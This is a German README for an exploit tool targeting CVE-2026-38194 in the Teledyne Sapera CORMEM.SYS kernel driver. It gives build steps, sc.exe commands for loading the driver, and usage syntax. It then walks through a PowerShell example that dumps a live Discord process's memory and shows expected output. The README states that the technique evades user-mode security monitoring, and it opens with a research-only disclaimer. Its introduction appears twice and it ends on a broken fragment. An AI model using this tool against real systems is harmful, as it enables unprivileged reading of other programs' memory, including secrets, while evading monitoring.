
Dieses Tool demonstriert CVE-2026-38194, eine Schwachstelle im Teledyne Digital Imaging Sapera Memory Manager (v9.0.0.0 und darunter). Der CORMEM.SYS-Kerneltreiber legt IOCTLs ohne jegliche Zugriffskontrollprüfungen offen, wodurch ein normaler Benutzer ohne Privilegien beliebigen Prozessspeicher direkt über den Kernel lesen und schreiben kann – unter Umgehung der Win32-API-Überwachung.
HAFTUNGSAUSSCHLUSS:
Dieses Projekt dient ausschließlich Bildungs- und Sicherheitsforschungszwecken.
Verwenden Sie es nur auf Systemen, die Ihnen gehören oder für die Sie ausdrückliche Testberechtigung haben.
Nicht autorisierte Nutzung kann in Ihrem Land illegal sein.
Dieses Tool demonstriert CVE-2026-38194, eine Schwachstelle im Teledyne Digital Imaging Sapera Memory Manager (v9.0.0.0 und niedriger).
Der Kernel-Treiber CORMEM.SYS legt IOCTLs ohne jegliche Zugriffskontrollprüfungen offen,
wodurch ein standardmäßig nicht privilegierter Benutzer beliebigen Prozessspeicher
direkt über den Kernel lesen und schreiben kann – und damit die Win32‑API‑Überwachung vollständig umgeht.

Der Speicher wird über physische Adressübersetzung (Page Table Walk) anstelle von ReadProcessMemory zugegriffen, was ihn für die meisten Benutzermodus-Sicherheitssoftware transparent macht.
cmake -B build -A x64
cmake --build build --config Release
Falls CORMEM.SYS nicht bereits geladen ist, laden Sie es manuell als Administrator:
sc.exe create CORMEM binPath= "C:\path\to\CORMEM.SYS" type= kernel start= demand
sc.exe start CORMEM
Entladen, wenn fertig:
sc.exe stop CORMEM
sc.exe delete CORMEM
cordrv_exploit.exe <pid> <address> [size]
pid Process ID (decimal)
address Virtual address to read (hex)
size Bytes to dump, default 256, max 1048576
# Get the main Discord process
$proc = Get-Process -Name "Discord" | Sort-Object WorkingSet -Descending | Select-Object -First 1
$discordPid = $proc.Id
$base = $proc.Modules[0].BaseAddress
Write-Host "PID : $discordPid"
Write-Host "Base : 0x$($base.ToString('X'))"
.\build\Release\cordrv_exploit.exe $discordPid "0x$($base.ToString('X'))" 256
Erwartete Ausgabe:
[*] Target PID : 16364
[*] Target address : 0x7FF6FC180000
[*] Dump size : 256 bytes
[*] Initializing CorDrv...
[+] Driver initialized.
[*] Finding system DTB...
[+] System DTB: 0x1AE000
[*] Searching EPROCESS list for PID 16364...
[+] Process DTB: 0x2CD30F000
[+] VA 0x7FF6FC180000 -> PA 0x1A98C2000
Memory dump (0x7FF6FC180000, 256 bytes):
7FF6FC180000: 4D 5A 78 00 01 00 00 00 04 00 00 00 00 00 00 00
7FF6FC180010: 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00
...
[+] Done.
Die 4D 5A an Offset 0 bestätigt, dass der MZ‑Header erfolgreich aus dem physischen RAM gelesen wurde.
TranslateVirtualAddress gibt 0 zurück).